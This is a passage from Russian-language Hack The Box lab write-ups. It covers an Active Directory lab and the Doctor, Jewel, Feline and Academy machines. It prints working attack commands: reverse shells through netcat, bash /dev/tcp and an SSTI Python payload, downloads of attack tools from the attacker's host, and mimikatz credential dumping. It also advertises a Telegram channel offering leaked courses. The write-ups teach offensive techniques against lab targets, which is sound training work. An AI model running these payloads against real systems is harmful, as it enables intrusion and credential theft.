И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.



Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203



Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local
192.168.3.202 web.htb.local
192.168.3.203 dc1.htb.local

Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ данный флаг не установлен и учетная запись не существует. Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"



Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash



И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares



И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R



И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'





Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.
enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null









И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN



Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно неограниченное делегирование. Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.
sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):
proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4



И в окне респондера получаем желаемый хеш.



Нам нужно конвертировать его в NTLM хеш.
python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9



И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.
proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralfexport KRB5CCNAME=ralf.ccache



И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'



Проверим конфигурации созданной службы.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10



И запустим ее.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10



Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.



proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11



И в листенере наблюдаем успешное подключение.



Таким образом мы захватываем первую из трех целевых машин.



Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.





Теперь необходимо создать листенер.



И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.



Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.



В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.



Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.



Ну и в случае чего, мы можем подключиться к хосту через WinRM.
proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86



Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.







Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.





И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.







Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.
shell vaultcmd /listshell vaultcmd /listcreds:"Web Credentials"shell vaultcmd /listcreds:"Windows Credentials"



И в конце концов я дошел до пункта теневые копии в своем чеклисте. И тут как раз в точку.





Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM



И пароль администратора легко находим в онлайн базах.



Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.



Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.



Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.



Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"



А теперь расшифруем учетный данные.
mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.



Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.
execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d



Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.





Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.



И мы получим следующий граф.



Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.



И мы даже можем получить инструкцию по дальнейшей эксплуатации.



Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.
Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.
New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)



Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.
Get-DomainComputer RalfPC



Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.
$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.



Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SIDу созданной нами учетной записи.
$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl



Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.
execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23



Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).
execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt



Проверим локальное хранилище билетов и обнаружим там только что импортированный.



Проверим доступ к веб сервису.
$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode



Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.
powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"download 1.html



Добавим эти учетные данные в хранилище данных.



Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню -> Jump -> winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.



И после подключения видим новую захваченную машину, правда без прав админа.





И как знак пройденного этапа, забираем еще один флаг.



Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table AutoSize



Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.





Давайте создадим дамп трафика с помощью tshark.
tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Никаких учетных данных не находдим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.





Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.







Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.
Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose



И атака выполнена успешно. Проверим это.
Nslookup db1.htb.local 192.168.3.203



Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.
sudo responder -I tun0 -wrf



Давайте перебирать данный хеш.
hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1



И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.







И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.





Забираем флаг администратора, как подтверждение еще одного пройденного этапа.



Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.
powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.



В файле пользователя находим упоминание о базе kdbx, которая отсутствует.



Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.



Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.





И забираем последний флаг.



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Doctor. SSTI to RCE. LPE через Splunkd

06.02.2021 18:22:40 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.209    doctor.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И заходя на сайт обнаружим еще одно доменное имя.

Добавим его в /etc/hosts.

10.10.10.209doctors.htb

И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.

Entry Point

Давайте зарегистрируемся.

Просматривая сайт, находим интересную ссылку.

Но там ничего интересного нет.

Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.

Аеще понимаем, что попадает в архив.

Вот только символы не экранированы, а код не выполнился из за наличия <item><title>. Давайте отправим нагрузку, в которой данные теги будут закрываться.

И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.

Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.

Проверяем:

</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}

И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:

{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("").read().zfill(417)}}{%endif%}{% endfor %}

Давайте выполним следующий реверс шелл:

import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("10.10.14.27",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash", "-i"]);

Запустим листенер. Полная нагрузка будет такой:

</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

USER

Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.

И мы находим интересную строку, которая является паролем пользователя.

Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (http://personeltest.ru/aways/github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).

python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'

И получаем бэкконнект на свой листенер.

Подробнее..

HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem

13.02.2021 18:19:20 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоитдля данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.gitgem install bundler:1.17.3apt install sqlite3 libsqlite3-devbundle install --path vendor/bundlebundle exec rails db:migratebundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'erb = ERB.allocateerb.instance_variable_set :@src, codeerb.instance_variable_set :@filename, "1"erb.instance_variable_set :@lineno, 1payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)puts "Payload"require 'uri'puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo,в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.

Подробнее..

HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты

21.02.2021 08:04:54 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.

10.10.10.205    feline.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.

Плюс ко всему, мы находим уязвимость для данной версии веб сервера.

Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.

Entry Point

Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.

Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.

USER

Сначала сам шелл, закодированный в base64.

#!/bin/bash rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"

Теперь сериализуем его.

java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session 

Загружаем файл.

curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null 

И выполняем бэкконнект.

curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null

Так мы берем пользователя.

Docker ROOT

Для разведки на хосте используем LinPEAS.Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.

Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.

И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.

chisel.bin server -p 56765 --reverse

И выполним коннект с удаленного хоста.

chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506

Как можно заметить, мы туннелируем порт.

Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.

python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"

И у нас есть рут в докере.

ROOT

Для разведки в докер контейнере используем deepce.

И видим, что есть докер сокет. Давайте получим информацию о контейнере.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json

И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.

{"Image": "188a2704d8b0","Cmd": ["/bin/sh"],"DetachKeys": "Ctrl-p,Ctrl-q","OpenStdin": true,"Mounts": [{"Type": "bind","Source": "/","Target": "/r4lf"}]}

А теперь создаем новый контейнер.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

Запускаем его и подключаемся к нему, используя Socat.

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/startsocatx64.bin - UNIX-CONNECT:/var/run/docker.sock

Далее необходимо отправить следующий пост запрос.

POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1Host: Connection: Upgrade Upgrade: tcp

Таким образом наша система будем монтирована как /r4lf.

Подробнее..

HackTheBox. Прохождение Academy. RCE в Laravel и LPE через composer

27.02.2021 22:08:03 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.215, который я добавляю в /etc/hosts.

10.10.10.215    academy.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Имеем SSH, Apache и MySQL. Давайте переберем директории на вебе, я буду использовать gobuster.

gobuster dir -t 128 -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Находим интересную директорию админа, но нам нужно зарегистрироваться. Я все операции выполняю через Burp. И при регистрации обращаем внимание на интересный параметр.

Изменим значение roleid на 1, и наша учетная запись станет административной. В найденной ранее директории найдем список дел, в котором одна задаче будет не выполнена.

Добавим запись в /etc/hosts.

10.10.10.215 dev-staging-01.academy.htb

Перейдем по найденному адресу.

Нас встречает Laravel, как мы видим из ошибки.

Entry Point

Поищем эксплоиты, и найдем уже реализованный для metasploit.

